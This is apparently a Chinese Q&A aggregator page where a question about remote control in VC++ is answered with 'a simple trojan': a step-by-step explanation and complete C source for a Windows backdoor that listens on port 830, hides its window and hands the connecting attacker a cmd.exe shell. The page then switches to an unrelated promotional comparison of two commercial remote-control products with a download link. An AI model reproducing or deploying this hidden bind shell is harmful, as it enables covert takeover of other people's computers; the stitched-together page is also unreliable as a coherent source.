远程控制

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了远程控制相关的知识,希望对你有一定的参考价值。

vc++ 怎么实现远程控制 例如 控制端发送命令A到服务端 去执行 结果返回 的具体编程实现

一个简单的木马程序~自己好好看下

首先,我们先讲解一下本程序中需要用到的几个函数。

木马需要和客户端(即攻击方)的通信,因此,我们需要用套接字编程。使用套接字需要包含头文件#include<winsock2.h>

#include<stdio.h>

#include<windows.h>

#pragma comment(lib,"Ws2_32")

我们定义的变量为:

WSADATA ws;

SOCKET listenFD,clientFD;

int ret;

struct sockaddr_in server;

int iAddrSize;

STARTUPINFO si;

char cmdLine[]="cmd.exe";

PROCESS_INFORMATION ProcessInformation;

根据常规的winsock的编程结构,我们可以机械地完成下面几步:

1. 初始化版本

WSAStartup(MAKEWORD(2,2), //初始化版本

&ws

);

2.建立socket

listenFD=WSASocket(AF_INET, //建立socket

SOCK_STREAM,

IPPROTO_TCP,

NULL,

0,

0

);

3,将服务器端的ip地址和端口号绑定到第2步建立的listenFD上

server.sin_family=AF_INET;

server.sin_port=htons(830); //830端口

server.sin_addr.S_un.S_addr=INADDR_ANY;

ret=bind(listenFD, //绑定到listenFD上

(struct sockaddr *)&server,

sizeof(struct sockaddr)

);

4.进行监听

ret=listen(listenFD, //监听830端口

BACKLOG

);

到这一步,木马就会一直在830端口等待攻击者的连接了。接下来,我们编写当攻击者连接830端口后,木马的相应程序。

当攻击者链接830端口时,木马接受连接,并创建句柄clientFD。

clientFD=accept(listenFD, //接受连接并创建新的套接字clientFD

(struct sockaddr *)&server,

&iAddrSize

);

接着,我将向大家介绍采用进程间零管道通信的木马如何编写。

STARTUPINFO si 这是一个结构体。存放的是进程的信息。大家对这个结构体的具体内容不必追究,在以后的编程中,大家会发现,只用到下面的几个成员。

si.dwFlags si.wShowWindow si.hStdOutput,si.hStdInput,si.hStdError

首先,si.dwFlags我们固定用si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

接着,si.wShowWindow是说新创立的进程的窗口显示的方式。我们这里不可能让被攻击的计算机桌面上突然就打开一个cmd窗口,因此必须将进程的窗口显示方式设为隐藏。

si.wShowWindow=SW_HIDE;

接着,我们必须对进程的输入输出管道进行定义。这里,因为我们采用的是零管道木马的技术,因此,将输入输出管道全部用clientFD来代替就行。这里可以简单的理解为攻击者和木马的通信实际上已经转化成了和cmd子进程的通信。攻击者发过来的命令直接交给cmd子进程,而子进程的返回信息直接发给了攻击者。

因此,si的设置为:

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow=SW_HIDE;

si.hStdOutput=si.hStdInput=si.hStdError=(void *)clientFD;

接着我们就可以创建cmd子进程了。

可以用CreateProcess()函数。

ret=CreateProcess(NULL, //创建cmd.exe子进程

cmdLine,

NULL,

NULL,

1,

0,

NULL,

NULL,

&si,

&ProcessInformation

);

这样,一个简单的得到cmdshell的木马就完成了。整个代码如下:

#include "stdafx.h"

#include<winsock2.h>

#include<stdio.h>

#include<windows.h>

#pragma comment(lib,"Ws2_32")

#define BACKLOG 10 //设定可等待客户队列的大小为BACKLOG=10

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)



// TODO: Place code here.

WSADATA ws;

SOCKET listenFD,clientFD;

int ret;

struct sockaddr_in server;

int iAddrSize;

STARTUPINFO si;

char cmdLine[]="cmd.exe";

PROCESS_INFORMATION ProcessInformation;

WSAStartup(MAKEWORD(2,2), //初始化版本

&ws

);

listenFD=WSASocket(AF_INET, //建立socket

SOCK_STREAM,

IPPROTO_TCP,

NULL,

0,

0

);

server.sin_family=AF_INET;

server.sin_port=htons(830);

server.sin_addr.S_un.S_addr=INADDR_ANY;

ret=bind(listenFD, //绑定到sockfd上

(struct sockaddr *)&server,

sizeof(struct sockaddr)

);

ret=listen(listenFD, //监听830端口

BACKLOG

);

iAddrSize=sizeof(server);

clientFD=accept(listenFD, //接受连接并创建新的套接字clientFD

(struct sockaddr *)&server,

&iAddrSize

);

ZeroMemory(&si,sizeof(si));

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow=SW_HIDE;

//si.wShowWindow=SW_SHOWNORMAL;

si.hStdOutput=si.hStdInput=si.hStdError=(void *)clientFD;

ret=CreateProcess(NULL, //创建cmd.exe子进程

cmdLine,

NULL,

NULL,

1,

0,

NULL,

NULL,

&si,

&ProcessInformation

);

return 0;

参考技术A socket编程,有本书 远程控制编程技术,自己拿来看看

波尔远程控制软件与网络人远程控制软件大比拼

 

波尔远程控制软件与网络人远程控制软件大比拼


日期:2015-08-19     作者:mgs
 

  波尔远程控制软件与网络人远程控制软件同为远程控制软件,它们各自有什么优点呢?到底是波尔远程控制软件比较好还是网络人远程控制软件比较好呢?今天小编就带大家来看看波尔远程控制软件与网络人远程控制软件的差距究竟在哪里。
首先,网络人远程控制软件获得国家的安全认证,它有三个不同的软件版本适用于不同的场合分别为办公版(免费的)、企业版、旗舰版、掌控版,另外还有网络人的远程开机卡、网络人远程关机卡(还有手机版的)、网络人摄像机可用于户外监控,而波尔远程控制软件仅有远程桌面、摄像头监控等,网络人包含了波尔远程控制软件所拥有的功能,同时比它功强大,功能更齐全。

网络人远程控制软件企业版——强大的远程管理监控软件

技术分享
技术分享
技术分享
技术分享

技术分享

技术分享
 

  波尔远程控制软件能够对屏幕、文件管理、系统维护、消息通知等进行有效管理,但与相比网络人远程控制软件拥有特殊的子账号管理功能相比,、网络人远程控制软件在帮助企业管理公司方面比波尔远程控制软件稍胜一筹,它的子账号的超级管理员可添加多个普通管理员它能够限定每个管理员的管理权限,同时允许控制哪些电脑等权力,多个管理员可以在不同地点同时登录软件,对同一台电脑进行操作,这是波尔远程控制软件所没有的功能。
网络人远程控制软件下载地址:
http://netman123.cn/download.asp

版权声明:网络人新闻中心供稿,如需转载请注明出处:
http://netman123.cn/cw/mgs_201508_44.asp

以上是关于远程控制的主要内容,如果未能解决你的问题,请参考以下文章

VC++编写远程控制软件

如何远程控制软件?

什么叫远程控制?

如何利用android手机远程控制另一个android手机

如何利用android手机远程控制另一个android手机?

win10用啥远程控制电脑好?